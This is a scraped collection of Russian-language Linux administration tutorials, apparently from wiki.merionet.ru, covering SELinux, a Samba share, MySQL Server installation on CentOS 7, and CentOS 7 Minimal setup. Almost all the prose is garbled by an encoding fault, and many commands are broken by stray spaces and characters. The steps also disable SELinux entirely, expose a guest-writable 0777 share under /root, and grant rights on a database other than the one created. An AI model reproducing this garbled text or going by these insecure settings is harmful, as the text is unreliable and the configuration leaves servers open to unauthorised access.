ʩʤʝʣʦ ʧʨʠʩʪʫʧʘʪʴ ʥʝʧʦʩʨʝʜʩʪʚʝʥʥʦ ʢ ʩʘʤʦʤʫ ʧʨʦʮʝʩʩʫ ʫʩʪʘʥʦʚʢʠ (ʥʠʞʝ): 

https://wiki.merionet.ru/
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ɺ ʧʨʦʪʠʚʥʦʤ ʩʣʫʯʘʝ, ʚʘʤ ʥʝʦʙʭʦʜʠʤʦ ʙʫʜʝʪ ʝʛʦ ʦʪʢʣʶʯʠʪʴ ï ʜʣʷ ʵʪʦʛʦ ʦʪʢʨʦʡʪʝ 

ʢʦʥʬʠʛʫʨʘʮʠʦʥʥʳʡ ʬʘʡʣ ʧʦ ʧʫʪʠ /etc/selinux/config  ʣʶʙʳʤ ʪʝʢʩʪʦʚʳʤ 

ʨʝʜʘʢʪʦʨʦʤ ï ʥʘʧʨʠʤʝʨ, Vi - vi /etc/selinux/config ʠ ʧʦʩʪʘʚʴʪʝ ʟʥʘʯʝʥʠʝ 

SELINUX ʚ ʧʦʣʦʞʝʥʠʝ disabled ʠ ʚʳʧʦʣʥʠʪʝ ʧʝʨʝʟʘʛʨʫʟʢʫ ʩʠʩʪʝʤʳ ʢʦʤʘʥʜʦʡ 

reboot  

SELinux ï ʜʦʧʦʣʥʝʥʠʝ ʢ ʩʪʘʥʜʘʨʪʥʦʡ ʩʠʩʪʝʤʝ ʢʦʥʪʨʦʣʷ ʜʦʩʪʫʧʘ Linux, ʥʦ ʝʛʦ 

ʥʘʩʪʨʦʡʢʘ ʜʦʚʦʣʴʥʘ ʪʨʫʜʦʸʤʢʘ ʠ ʦʥʦ ʚʢʣʶʯʝʥʦ ʧʦ ʫʤʦʣʯʘʥʠʶ. ɹʝʟ ʢʘʢʠʭ-ʣʠʙʦ 

ʤʘʥʠʧʫʣʷʮʠʡ SELinux ʯʘʩʪʦ ʤʦʞʝʪ ʙʣʦʢʠʨʦʚʘʪʴ ʠʟʤʝʥʝʥʠʷ, ʚʳʟʳʚʘʝʤʳʝ ʧʨʠ 

ʟʘʧʫʩʢʝ ʨʘʟʣʠʯʥʳʭ ʩʣʫʞʙ ʠʣʠ ʧʨʦʛʨʘʤʤ. 

ɼʘʣʝʝ ʧʨʠʩʪʫʧʘʝʤ ʢ ʫʩʪʘʥʦʚʢʝ Samba ʩʝʨʚʝʨʘ. ɼʣʷ ʵʪʦʛʦ ʥʫʞʥʦ ʚʳʧʦʣʥʠʪʴ 

ʢʦʤʘʥʜʫ: 

yum install samba samba - common cups - libs samba - client  

ʊʝʧʝʨʴ ʩʦʟʜʘʜʠʤ ʧʘʧʢʫ ï ʚʚʦʜʠʤ ʢʦʤʘʥʜʫ mkdir ïp /root/SHAREDFOLDER  (ʠʤʷ 

ʧʘʧʢʠ ʠ ʜʠʨʝʢʪʦʨʠʷ, ʩʦʦʪʚʝʪʩʪʚʝʥʥʦ, ʤʦʛʫʪ ʙʳʪʴ ʧʨʦʠʟʚʦʣʴʥʳʤʠ). 

ɼʘʣʝʝ ʫʩʪʘʥʘʚʣʠʚʘʝʤ ʥʘ ʥʝʸ ʧʨʘʚʘ: 

chown ïR root : users / root / SHAREDFOLDER 

chmod ïR 775  / root / SHAREDFOLDER 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-rasharit-papku-v-centos-s-pomoshhyu-samba/1.PNG
https://wiki.merionet.ru/images/kak-rasharit-papku-v-centos-s-pomoshhyu-samba/1.PNG
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ȺɆɅɌȼɝɋɈȿɎȼɗ 

ʆʪʢʨʳʚʘʝʤ ʪʝʢʩʪʦʚʳʤ ʨʝʜʘʢʪʦʨʦʤ ʦʩʥʦʚʥʳʡ ʬʘʡʣ ʢʦʥʬʠʛʫʨʘʮʠʠ Samba ï 

ʚʦʩʧʦʣʴʟʫʝʤʩʷ Vi: vi /etc/samba/smb.conf . 

ɺ ʜʘʥʥʦʤ ʬʘʡʣʝ ʥʝʦʙʭʦʜʠʤʦ ʧʨʦʚʝʨʠʪʴ ʯʪʦʙʳ ʚ ʩʝʢʮʠʠ global ʧʨʠʩʫʪʩʪʚʦʚʘʣʠ 

ʩʣʝʜʫʶʱʠʝ ʩʪʨʦʢʠ: 

[ global ]  

security = user  

passdb backend = tdbsam  

workgroup = MYGROUP  

map to guest = Bad User  

server string  = Samba Server  Version  %v 

ɿʘʪʝʤ ʟʘʢʦʤʤʝʥʪʠʨʫʡʪʝ (ʧʨʦʩʪʘʚʴʪʝ ʪʦʯʢʫ ʩ ʟʘʧʷʪʦʡ) ʧʝʨʝʜ ʘʨʛʫʤʝʥʪʘʤʠ ʚ 

ʨʘʟʜʝʣʘʭ [homes] (ʜʦʩʪʫʧ ʢ ʛʦʩʪʝʚʳʤ ʜʠʨʝʢʪʦʨʠʷʤ) ʠ ʚ [printers] (ʜʦʩʪʫʧ ʢ 

ʧʨʠʥʪʝʨʘʤ). 

ʊʝʧʝʨʴ ʜʦʙʘʚʴʪʝ ʢʦʥʬʠʛ ʜʣʷ ʚʘʰʝʡ ʩʦʟʜʘʥʥʦʡ ʧʘʧʢʝ, ʚʳʛʣʷʜʝʪʴ ʵʪʦ ʜʦʣʞʥʦ 

ʩʣʝʜʫʶʱʠʤ ʦʙʨʘʟʦʤ: 

[ SHAREDFOLDER]   

https://wiki.merionet.ru/
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comment = Everybody  has access  

path = /root/ SHAREDFOLDER 

force group  = users  

create mask = 0666   

directory mask = 0777   

writable = yes  

guest ok = yes  

browseable = yes  

ʅʘʢʦʥʝʮ, ʩʦʭʨʘʥʠʤ ʬʘʡʣ ʢʦʥʬʠʛʫʨʘʮʠʠ ʠ ʥʘʩʪʨʦʠʤ ʘʚʪʦʟʘʧʫʩʢ ʩʣʫʞʙʳ samba ï 

ʜʣʷ ʵʪʦʛʦ ʥʝʦʙʭʦʜʠʤʦ ʚʳʧʦʣʥʠʪʴ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ: 

chkconfig ïlevels 235  smb on  

/ etc / init . d/ smb restart  

ʇʦʤʥʠʪʝ ï Samba ʠʩʧʦʣʴʟʫʝʪ ʧʦʨʪʳ 137, 138, 139 ʠ 445. ʕʪʘ ʠʥʬʦʨʤʘʮʠʷ ʚʘʤ 

ʤʦʞʝʪ ʧʦʥʘʜʦʙʠʪʩʷ ʧʨʠ ʧʨʦʙʨʦʩʝ ʧʦʨʪʦʚ ʠ ʥʘʩʪʨʦʡʢʝ iptables. 

ɹʣʘʛʦʜʘʨʷ ʚʳʰʝʦʧʠʩʘʥʥʦʡ ʧʨʦʮʝʜʫʨʝ, ʚʳ ʩʤʦʞʝʪʝ ʣʝʛʢʦ ʧʝʨʝʜʘʚʘʪʴ ʬʘʡʣʳ ʩ 

ʩʝʨʚʝʨʘ ʥʘ ʨʘʙʦʯʠʝ ʤʘʰʠʥʳ ʚ ʚʘʰʝʡ ʩʝʪʠ, ʠ, ʙʦʣʝʝ ʪʦʛʦ, ʨʝʰʘʪʴ ʤʥʦʛʠʝ 

ʧʨʠʢʣʘʜʥʳʝ ʟʘʜʘʯʠ ï ʢ ʧʨʠʤʝʨʫ, ʨʘʩʰʘʨʠʪʴ ʧʘʧʢʫ ʩ ʟʘʧʠʩʷʤʠ ʨʘʟʛʦʚʦʨʦʚ, ʯʪʦʙʳ 

ʥʝʧʦʩʨʝʜʩʪʚʝʥʥʦ ʠʤʝʪʴ ʢ ʥʠʤ ʜʦʩʪʫʧ. 

https://wiki.merionet.ru/
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ǻșȚȈȕȖȊȒȈ MySQL Server ȕȈ CentOS 7 

ɺ ʩʪʘʪʴʝ ʨʘʩʩʤʦʪʨʠʤ ʫʩʪʘʥʦʚʢʫ MySQL Server ʥʘ CentOS 7. MySQL ï ʧʦʧʫʣʷʨʥʘʷ 

ʨʝʣʷʮʠʦʥʥʘʷ ʉʋɹɼ ʩ ʦʪʢʨʳʪʳʤ ʢʦʜʦʤ, ʠ, ʝʸ ʧʦʧʫʣʷʨʥʦʩʪʴ ʦʟʥʘʯʘʝʪ ʦʛʨʦʤʥʦʝ 

ʢʦʣʠʯʝʩʪʚʦ ʠʥʬʦʨʤʘʮʠʠ ʚ ʠʥʪʝʨʥʝʪʝ ʠ ʙʦʣʴʰʦʝ ʢʦʣʠʯʝʩʪʚʦ ʭʦʨʦʰʦ 

ʜʦʢʫʤʝʥʪʠʨʦʚʘʥʥʳʭ ʙʠʙʣʠʦʪʝʢ. MySQL ʧʦʜʜʝʨʞʠʚʘʝʪ ʤʥʦʞʝʩʪʚʦ ʩʪʘʥʜʘʨʪʥʳʭ 

ʬʫʥʢʮʠʡ, ʧʨʠʩʫʱʠʭ ʉʋɹɼ ï ʨʝʧʣʠʢʘʮʠʶ, ʪʨʠʛʛʝʨʳ ʠ ʧʨʦʯʠʝ. 

ɺ ʙʦʣʴʰʠʥʩʪʚʝ ʜʠʩʪʨʠʙʫʪʠʚʦʚ ʧʦ ʫʤʦʣʯʘʥʠʶ ʧʨʠʩʫʪʩʪʚʫʶʪ ʨʝʧʦʟʠʪʦʨʠʠ, ʚ 

ʢʦʪʦʨʳʭ ʝʩʪʴ ʥʫʞʥʳʡ ʥʘʤ ʧʘʢʝʪ MySQL ï ʦʜʥʘʢʦ, ʥʘ ʧʨʠʤʝʨʝ CentOS 7 Minimal ʷ 

ʭʦʪʝʣ ʙʳ ʧʦʢʘʟʘʪʴ ʧʨʦʮʝʩʩ ʜʦʙʘʚʣʝʥʠʷ ʦʬʠʮʠʘʣʴʥʦʛʦ YUM ʨʝʧʦʟʠʪʦʨʠʷ ʦʪ 

Oracle, ʚ ʢʦʪʦʨʦʤ ʚʩʝʛʜʘ ʜʦʩʪʫʧʥʘ ʧʦʩʣʝʜʥʷʷ ʚʝʨʩʠʷ. 

 

ɇɈɆɎɂɉɉ ɋɉɊȿɅɆɁȺȼ 

ʇʨʝʜʚʘʨʠʪʝʣʴʥʦ ʥʘʤ ʥʝʦʙʭʦʜʠʤʦ ʫʩʪʘʥʦʚʠʪʴ wget ʯʪʦʙʳ ʩʢʘʯʠʚʘʪʴ ʬʘʡʣʳ ï ʜʣʷ 

ʵʪʦʛʦ ʚʳʧʦʣʥʠʪʝ ʢʦʤʘʥʜʫ yum install wget . 

ɼʘʣʝʝ, ʜʣʷ ʥʘʯʘʣʘ ʧʨʦʮʝʩʩʘ ʫʩʪʘʥʦʚʢʠ ʥʝʦʙʭʦʜʠʤʦ ʟʘʡʪʠ ʥʘ ʩʘʡʪ MySQL ʧʦ 

ʩʣʝʜʫʶʱʝʤʫ ʣʠʥʢʫ: http://dev.mysql.com/downloads/repo/yum/ , ʚʳʙʨʘʪʴ 

ʥʝʦʙʭʦʜʠʤʳʡ ʜʠʩʪʨʠʙʫʪʠʚ (ʚ ʥʘʰʝʤ ʩʣʫʯʘʝ - Red Hat Enterprise Linux 7 / Oracle 

Linux 7) ʠ ʥʘʞʘʪʴ Download. ʉʩʳʣʢʘ ʜʣʷ ʩʢʘʯʠʚʘʥʠʷ ʤʦʞʝʪ ʙʳʪʴ ʧʦʣʫʯʝʥʘ ʙʝʟ 

ʨʝʛʠʩʪʨʘʮʠʠ, ʜʣʷ ʵʪʦʛʦ ʥʫʞʥʦ ʥʘʡʪʠ ʩʣʦʚʘ çNo thanks, just start my downloadè 

https://wiki.merionet.ru/
https://dev.mysql.com/downloads/repo/yum/
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ʉʢʦʧʠʨʫʝʤ ʘʜʨʝʩ ʩʩʳʣʢʠ ʠ ʚʳʧʦʣʥʠʤ ʢʦʤʘʥʜʫ wget  ʩ ʵʪʠʤ ʘʜʨʝʩʦʤ: 

wget https :// dev.mysql.com/get/mysql57 - community - release - el7 - 11.noarch.rpm  

ɹʝʟ ʢʘʢʠʭ-ʣʠʙʦ ʤʦʜʠʬʠʢʘʪʦʨʦʚ ʢʦʤʘʥʜʘ wget ʩʢʘʯʘʝʪ ʬʘʡʣ ʚ ʢʘʪʘʣʦʛ, ʚ ʢʦʪʦʨʦʤ 

ʚʳ ʥʘʭʦʜʠʪʝʩʴ ʚ ʜʘʥʥʳʡ ʤʦʤʝʥʪ, ʜʘʣʝʝ ʥʝʦʙʭʦʜʠʤʦ ʚʳʧʦʣʥʠʪʴ ʢʦʤʘʥʜʫ rpm ïUvh 

mysql57 - community - release - el7 - 11.noarch.rpm  - ʜʣʷ ʙʦʣʝʝ ʧʨʦʩʪʦʛʦ ʚʚʦʜʘ 

ʠʤʝʥʠ ʧʘʢʝʪʘ ʚʦʩʧʦʣʴʟʫʡʪʝʩʴ ʪʘʙʫʣʷʮʠʝʡ (ʥʘʞʘʪʴ Tab). 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/ustanovka-mysql-server-na-centos-7/1.png
https://wiki.merionet.ru/images/ustanovka-mysql-server-na-centos-7/1.png
http://dev.mysql.com/get/mysql57-community-release-el7-11.noarch.rpm
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ʊʝʧʝʨʴ ʧʦʜʢʣʶʯʝʥ ʦʬʠʮʠʘʣʴʥʳʡ ʨʝʧʦʟʠʪʦʨʠʡ Oracle, ʥʘʩʪʘʣʘ ʦʯʝʨʝʜʴ ʫʩʪʘʥʦʚʢʠ 

ʥʝʧʦʩʨʝʜʩʪʚʝʥʥʦ ʩʘʤʦʛʦ MySQL ʩʝʨʚʝʨʘ: 

yum ïy install mysql - community - server  

ʇʨʦʮʝʩʩ ʩʢʘʯʠʚʘʥʠʷ ʠ ʫʩʪʘʥʦʚʢʠ ʧʘʢʝʪʘ ʟʘʡʤʸʪ ʢʘʢʦʝ-ʪʦ ʚʨʝʤʷ. 

 

ɼʘʣʝʝ ʥʝʦʙʭʦʜʠʤʦ ʨʘʟʨʝʰʠʪʴ ʘʚʪʦʟʘʧʫʩʢ ʜʝʤʦʥʘ MySQL ʧʨʠ ʟʘʛʨʫʟʢʝ: 

/usr/ bin / systemctl enable mysqld  

ʀ ʟʘʧʫʩʪʠʪʴ ʩʘʤ MySQL ʩʝʨʚʝʨ: 

/usr/ bin / systemctl start mysqld  

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/ustanovka-mysql-server-na-centos-7/2.png
https://wiki.merionet.ru/images/ustanovka-mysql-server-na-centos-7/2.png
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ɅȿɉɊɈɆɢȺȿ ɀɂɡɆɇȿɉɅɆɉɊȼ 

ʇʦʩʣʝ ʩʪʘʨʪʘ ʩʝʨʚʝʨʘ, ʥʝʦʙʭʦʜʠʤʦ ʥʘʩʪʨʦʠʪʴ ʧʦʣʠʪʠʢʠ ʙʝʟʦʧʘʩʥʦʩʪʠ ï ʜʣʷ ʵʪʦʛʦ 

ʩʣʫʞʠʪ ʩʢʨʠʧʪ mysql_secure_installation - ʥʦ ʧʨʝʜʚʘʨʠʪʝʣʴʥʦ ʥʘʤ 

ʧʦʥʘʜʦʙʠʪʩʷ ʩʣʫʯʘʡʥʦ ʩʛʝʥʝʨʠʨʦʚʘʥʥʳʡ ʧʘʨʦʣʴ ʜʣʷ root ï ʝʛʦ ʤʦʞʥʦ ʚʳʷʩʥʠʪʴ ʩ 

ʧʦʤʦʱʴʶ ʢʦʤʘʥʜʳ grep 'temporary password' /var/log/mysqld.log . ʇʨʠʤʝʨ 

ʥʘ ʩʢʨʠʥʰʦʪʝ ʥʠʞʝ: 

 

ɼʘʣʝʝ ʥʫʞʥʦ ʚʚʝʩʪʠ ʢʦʤʘʥʜʫ /usr/bin/mysql_secure_installation  ʠ ʚʘʤ ʙʫʜʝʪ 

ʧʨʝʜʣʦʞʝʥʦ ʚʚʝʩʪʠ ʜʘʥʥʳʡ ʧʘʨʦʣʴ ʥʘ ʨʫʪ, ʧʦʤʝʥʷʪʴ ʝʛʦ ʥʘ ʥʝʯʪʦ ʚʨʦʜʝ 

E+FW4tz8$?/7$dCm ʠ ʦʪʚʝʪʠʪʴ ʥʘ ʥʝʩʢʦʣʴʢʦ ʚʦʧʨʦʩʦʚ: 

ǒ Set root password? [Y/n] Y  - ʫʩʪʘʥʦʚʢʘ ʧʘʨʦʣʷ ʥʘ root; 

ǒ Remove anonymous users? [Y/n] Y  - ʫʜʘʣʝʥʠʝ ʘʥʦʥʠʤʥʳʭ ʧʦʣʴʟʦʚʘʪʝʣʝʡ; 

ǒ Disallow root login remotely? [Y/n] Y  - ʟʘʧʨʝʪ ʫʜʘʣʝʥʥʦʛʦ ʣʦʛʠʥʘ; 

ǒ Remove test database and access to it? [Y/n] Y  - ʫʜʘʣʝʥʠʝ ʪʝʩʪʦʚʳʭ 

ʙʘʟ ʜʘʥʥʳʭ ʠ ʜʦʩʪʫʧʘ ʢ ʥʠʤ; 

ǒ Reload privilege tables now? [Y/n] Y  - ʧʝʨʝʟʘʛʨʫʟʢʘ 

ʧʨʠʚʠʣʝʛʠʨʦʚʘʥʥʳʭ ʪʘʙʣʠʮ; 

ʆʯʝʥʴ ʩʦʚʝʪʫʶ ʧʘʨʦʣʴ ʧʨʠʜʫʤʘʪʴ ʤʘʢʩʠʤʘʣʴʥʦ ʩʣʦʞʥʳʡ ï ʢʨʦʤʝ ʪʦʛʦ, ʧʦ 

ʜʝʬʦʣʪʫ, ʫ ʚʘʩ ʥʝ ʧʦʣʫʯʠʪʩʷ ʧʦʩʪʘʚʠʪʴ ʧʨʦʩʪʦʡ ʧʘʨʦʣʴ. 
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ɉɆɡɠȿɅȼɂ ɊɂɉɊɆɁɆɢ ɀȿɡɓ ɠȿɅɅɓɍ ȼ ɄȿɅȼɇɋɣɗɎȼȼ ɉ ɇɆɣɔɡɆɁȿɊɂɣɗɄȼ 

ʂʦʛʜʘ ʚʘʤ ʧʦʥʘʜʦʙʠʪʩʷ ʜʘʪʴ ʜʦʩʪʫʧ ʢʘʢʦʤʫ-ʥʠʙʫʜʴ ʧʨʠʣʦʞʝʥʠʶ ʜʦʩʪʫʧ ʢ ʚʘʰʝʡ 

ɹɼ, ʥʠ ʚ ʢʦʝʤ ʩʣʫʯʘʝ ʥʝʣʴʟʷ ʵʪʦʛʦ ʜʝʣʘʪʴ ʦʪ ʧʦʣʴʟʦʚʘʪʝʣʷ root ï ʜʣʷ ʢʘʞʜʦʛʦ 

ʧʨʠʣʦʞʝʥʠʷ ʜʦʣʞʝʥ ʙʳʪʴ ʩʦʟʜʘʥ ʩʚʦʡ ʧʦʣʴʟʦʚʘʪʝʣʴ. ɼʣʷ ʩʦʟʜʘʥʠʷ, ʩʥʘʯʘʣʘ 

ʥʝʦʙʭʦʜʠʤʦ ʟʘʡʪʠ ʚ MySQL ʦʪ ʠʤʝʥʠ ʘʜʤʠʥʠʩʪʨʘʪʦʨʘ ʩ ʧʦʤʦʱʴʶ ʢʦʤʘʥʜʳ mysql 

- u root - p mysql . ɼʘʣʝʝ ʷ ʧʨʠʚʝʜʫ ʧʨʠʤʝʨ ʩʦʟʜʘʥʠʷ ɹɼ testdb ʠ ʦʪʢʨʳʪʠʷ 

ʧʦʣʥʦʛʦ ʜʦʩʪʫʧʘ ʢ ʵʪʦʡ ɹɼ ʜʣʷ ʧʦʣʴʟʦʚʘʪʝʣʷ testuser (ʠʤʷ ʧʦʣʴʟʦʚʘʪʝʣʷ ʠ ʧʘʨʦʣʴ 

ʩʦʦʪʚʝʪʩʪʚʝʥʥʦ ʥʝʦʙʭʦʜʠʤʦ ʩʢʦʨʨʝʢʪʠʨʦʚʘʪʴ ʦʪʥʦʩʠʪʝʣʴʥʦ ʚʘʰʝʡ 

ʥʝʧʦʩʨʝʜʩʪʚʝʥʥʦʡ ʟʘʜʘʯʠ): 

create database testdb ;  

grant all on appdb .*  to 'testuser' @'localhost'  identified by  'password' ;  

quit  

ɼʣʷ ʧʨʦʚʝʨʢʠ ʜʦʩʪʫʧʘ ʥʫʞʥʦ ʠʩʧʦʣʴʟʦʚʘʪʴ ʢʦʤʘʥʜʫ mysql - u testuser - p - h 

localhost testdb , ʘ ʜʣʷ ʚʳʚʦʜʳ ʚʩʝʭ ʠʤʝʶʱʠʭʩʷ ɹɼ ï ʢʦʤʘʥʜʫ SHOW 

DATABASES; 

ʈʘʩʩʤʦʪʨʠʤ ʧʨʠʤʝʨ ʩʦʟʜʘʥʠʷ ʧʦʣʴʟʦʚʘʪʝʣʷ ʜʣʷ MySQL ʠ ʧʨʦʩʤʦʪʨʘ ʩʧʠʩʢʘ ʚʩʝʭ 

ʧʦʣʴʟʦʚʘʪʝʣʝʡ. MySQL ʩʦʜʝʨʞʠʪ ʠʥʬʦʨʤʘʮʠʶ ʦ ʧʦʣʴʟʦʚʘʪʝʣʷʭ ʚ ʩʚʦʝʡ 

ʩʦʙʩʪʚʝʥʥʦʡ ʙʘʟʝ ʜʘʥʥʳʭ ʧʦʜ ʥʘʟʚʘʥʠʝʤ mysql, ʚʥʫʪʨʠ ʢʦʪʦʨʦʡ ʠʥʬʦʨʤʘʮʠʷ ʦ 

ʧʦʣʴʟʦʚʘʪʝʣʷʭ ʥʘʭʦʜʠʪʩʷ ʚ ʚʠʜʝ ʪʘʙʣʠʮʳ ʧʦʜ ʥʘʟʚʘʥʠʝʤ user. ɽʩʣʠ ʚʳ ʭʦʪʠʪʝ 

ʚʳʚʝʩʪʠ ʚʝʩʴ ʩʧʠʩʦʢ ʧʦʣʴʟʦʚʘʪʝʣʝʡ, ʪʦ ʥʝʦʙʭʦʜʠʤʦ ʚʳʧʦʣʥʠʪʴ ʩʣʝʜʫʶʱʫʶ 

ʢʦʤʘʥʜʫ: 

SELECT User ,  Host ,  Password  FROM mysql . user ;  
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ʕʪʦ ʩʪʘʥʜʘʨʪʥʳʡ MySQL ʩʠʥʪʘʢʩʠʩ. ɼʘʚʘʡʪʝ ʨʘʟʙʝʨʝʤʩʷ ʩ ʥʠʤ: 

ǒ SELECT - ʟʘʧʨʦʩ ʠʥʬʦʨʤʘʮʠʠ; 

ǒ User, Host, Password - ʢʦʥʢʨʝʪʠʟʘʮʠʷ ʧʦʣʝʡ, ʠʟ ʢʦʪʦʨʳʭ ʠʥʬʦʨʤʘʮʠʷ 

ʜʦʣʞʥʘ ʙʳʪʴ ʠʟʚʣʝʯʝʥʘ. ɺ ʜʘʥʥʦʤ ʩʣʫʯʘʝ ʤʳ ʠʱʝʤ ʠʥʬʦʨʤʘʮʠʶ ʦ 

ʧʦʣʴʟʦʚʘʪʝʣʝ, ʭʦʩʪʥʝʡʤʝ ʠ ʟʘʰʠʬʨʦʚʘʥʥʦʤ ʧʘʨʦʣʝ; 

ǒ FROM mysql.user - ʟʘʧʨʘʰʠʚʘʝʤ ʠʥʬʦʨʤʘʮʠʶ ʤʳ ʠʟ ɹɼ mysql ʠ ʪʘʙʣʠʮʳ 

user; 

ǒ ; - ʪʦʯʢʘ ʩ ʟʘʧʷʪʦʡ ʦʟʥʘʯʘʶʪ ʢʦʥʝʮ ʢʦʤʘʥʜʳ, ʚ MySQL ʚʩʝ ʟʘʧʨʦʩʳ ʜʦʣʞʥʳ 

ʢʦʥʯʘʪʴʩʷ ʪʦʯʢʦʡ ʩ ʟʘʧʷʪʦʡ; 

ǻșȚȈȕȖȊȒȈ CentOS 7 Minimal 

ɺ ʩʪʘʪʴʝ ʨʘʩʩʤʦʪʨʠʤ ʫʩʪʘʥʦʚʢʫ CentOS 7 Minimal, ʧʝʨʚʠʯʥʫʶ ʥʘʩʪʨʦʡʢʫ ʩʝʪʠ ʠ 

ʫʩʪʘʥʦʚʢʫ ʛʨʘʬʠʯʝʩʢʦʛʦ ʠʥʪʝʨʬʝʡʩʘ ʧʦʜ ʥʘʟʚʘʥʠʝʤ Mate. ʋ ʥʘʩ ʫʞʝ ʝʩʪʴ ʩʪʘʪʴʷ ʠ 

ʚʠʜʝʦ ʦʙ ʫʩʪʘʥʦʚʢʝ ʥʝʤʥʦʛʦ ʠʥʦʡ ʨʝʜʘʢʮʠʠ CentOS 7 ï Network Edition, ʥʦ ʧʨʠ 

ʫʩʪʘʥʦʚʢʝ Minimal ʝʩʪʴ ʥʝʩʢʦʣʴʢʦ ʪʦʥʢʦʩʪʝʡ, ʦ ʥʠʭ ï ʥʠʞʝ. 

ʇʝʨʚʦʝ ʦʪʣʠʯʠʝ ʚ ʪʦʤ, ʯʪʦ ʦʙʨʘʟ ʥʝʩʢʦʣʴʢʦ ʙʦʣʴʰʝ - 700 ʄʙ, ʥʦ ʵʪʦ ʚʩʸ ʨʘʚʥʦ 

ʥʝʩʨʘʚʥʠʤʦ ʩ ʦʙʲʝʤʦʤ DVD ʠʣʠ Full ʨʝʜʘʢʮʠʠ. ʉʣʝʜʫʶʱʝʝ ʦʪʣʠʯʠʝ, ʚʳʪʝʢʘʶʱʝʝ 

ʠʟ ʧʨʝʜʳʜʫʱʝʛʦ ï ʦʪʩʫʪʩʪʚʫʝʪ ʚʦʟʤʦʞʥʦʩʪʴ ʚʳʙʨʘʪʴ ʜʦʧʦʣʥʠʪʝʣʴʥʳʡ ʩʦʬʪ ʜʣʷ 

ʫʩʪʘʥʦʚʢʠ (ʩʢʨʠʥʰʦʪ ʥʠʞʝ): 
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ɺ CentOS 7 ʪʘʢʞʝ ʜʦʙʘʚʠʣʘʩʴ ʚʦʟʤʦʞʥʦʩʪʴ ʚʢʣʶʯʠʪʴ ʩʝʪʝʚʦʡ ʠʥʪʝʨʬʝʡʩ 

ʥʝʧʦʩʨʝʜʩʪʚʝʥʥʦ ʚʦ ʚʨʝʤʷ ʫʩʪʘʥʦʚʢʠ ï ʚ 6 ʚʝʨʩʠʠ ʪʘʢʦʛʦ ʥʝ ʙʳʣʦ, ʦʜʥʘʢʦ, ʷ 

ʜʦʧʦʣʥʠʪʝʣʴʥʦ ʧʨʦʜʝʤʦʥʩʪʨʠʨʫʶ ʩʘʤʳʡ ʥʘʛʣʷʜʥʳʡ ʩʧʦʩʦʙ ʥʘʩʪʨʦʡʢʠ ʩʝʪʝʚʦʛʦ 

ʠʥʪʝʨʬʝʡʩʘ ʚ 7 ʚʝʨʩʠʠ. 

 

ɇɈɆɎɂɉɉ ɋɉɊȿɅɆɁȺȼ 

ʀʪʘʢ, ʚʳʧʦʣʥʷʝʤ ʚʩʝ ʰʘʛʠ ʧʦʩʣʝʜʦʚʘʪʝʣʴʥʦ ʢʘʢ ʫʢʘʟʘʥʦ ʚ ʥʘʰʝʤ ʚʠʜʝʦ ʠ ʩʪʘʪʴʝ 

ʧʦ ʫʩʪʘʥʦʚʢʝ ʩʝʪʝʚʦʡ ʚʝʨʩʠʠ ʜʘʥʥʦʡ ʆʉ, ʞʜʸʤ 15-30 ʤʠʥʫʪ ʠ ʚʚʦʜʠʤ ʩʚʦʠ 

ʣʦʛʠʥ\ʧʘʨʦʣʴ (ʧʨʝʜʚʘʨʠʪʝʣʴʥʦ ʧʦʜʢʣʶʯʠʚʰʠʩʴ ʯʝʨʝʟ ʪʝʨʤʠʥʘʣ). 

ʇʝʨʚʳʤ ʞʝʣʘʥʠʝʤ ʙʳʣʦ ʧʨʦʚʝʨʠʪʴ, ʨʘʙʦʪʘʝʪ ʣʠ ʩʝʪʝʚʦʡ ʠʥʪʝʨʬʝʡʩ ʠ ʙʳʣ ʣʠ ʝʤʫ 

ʥʘʟʥʘʯʝʥ ʘʜʨʝʩ ï ʷ ʚʚʸʣ ʢʦʤʘʥʜʫ ifconfig , ʠ, ʢʘʢ ʦʢʘʟʘʣʦʩʴ, ʜʘʥʥʘʷ ʢʦʤʘʥʜʘ ʥʘ 7 

ʚʝʨʩʠʠ ʷʚʣʷʝʪʩʷ ʫʩʪʘʨʝʚʰʝʡ ʠ ʚʤʝʩʪʦ ʥʝʸ ʥʝʦʙʭʦʜʠʤʦ ʠʩʧʦʣʴʟʦʚʘʪʴ ʢʦʤʘʥʜʫ 
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ipaddr  ʜʣʷ ʚʳʚʦʜʘ ʠʥʬʦʨʤʘʮʠʠ ʦʙ ʠʥʪʝʨʬʝʡʩʘʭ ʠ ʢʦʤʘʥʜʫ iplink ʜʣʷ ʚʳʚʦʜʘ 

ʩʪʘʪʠʩʪʠʢʠ ʥʘ ʥʠʭ ʞʝ. 

ʅʦ ʪʘʢ ʚʩʝ ʧʨʠʚʳʢʣʠ ʢ ʩʪʘʥʜʘʨʪʥʳʤ ʢʦʤʘʥʜʘʤ ʧʘʢʝʪʘ net - tools , ʝʛʦ ʥʝʦʙʭʦʜʠʤʦ 

ʙʫʜʝʪ ʫʩʪʘʥʦʚʠʪʴ ʩ ʧʦʤʦʱʴʶ ʢʦʤʘʥʜʳ yum install net - tools . ʆʜʥʘʢʦ, ʧʦʤʥʷ 

ʧʝʨʚʦʝ ʦʱʫʱʝʥʠʝ ʥʝʧʦʥʠʤʘʥʠʷ, ʢʦʛʜʘ ʫ ʤʝʥʷ ʥʝ ʨʘʙʦʪʘʣʘ ʩʝʪʴ ʚ ʤʠʥʠʤʘʣʴʥʦʡ 

ʠʥʩʪʘʣʣʷʮʠʠ ʥʘ 6 ʚʝʨʩʠʠ, ʷ ʭʦʯʫ ʜʦʧʦʣʥʠʪʝʣʴʥʦ ʧʦʢʘʟʘʪʴ ʦʯʝʥʴ ʧʨʦʩʪʦʡ ʩʧʦʩʦʙ ʝʸ 

ʥʘʩʪʨʦʡʢʠ ï ʦʙ ɻʪʦʤ ʥʠʞʝ. 

ɺʘʞʥʦ! ʂʦʤʘʥʜʘ ifconfig  ʫʩʪʘʨʝʣʘ. ɼʣʷ ʩʝʪʝʚʦʛʦ ʚʟʘʠʤʦʜʝʡʩʪʚʠʷ ʩ ʩʝʨʚʝʨʦʤ 

ʨʝʢʦʤʝʥʜʫʝʤ ʧʦʣʴʟʦʚʘʪʴʩʷ ʢʦʤʘʥʜʦʡ çipè (ip -a), ʢʦʪʦʨʘʷ ʧʦ ʬʫʥʢʮʠʦʥʘʣʴʥʦʩʪʠ 

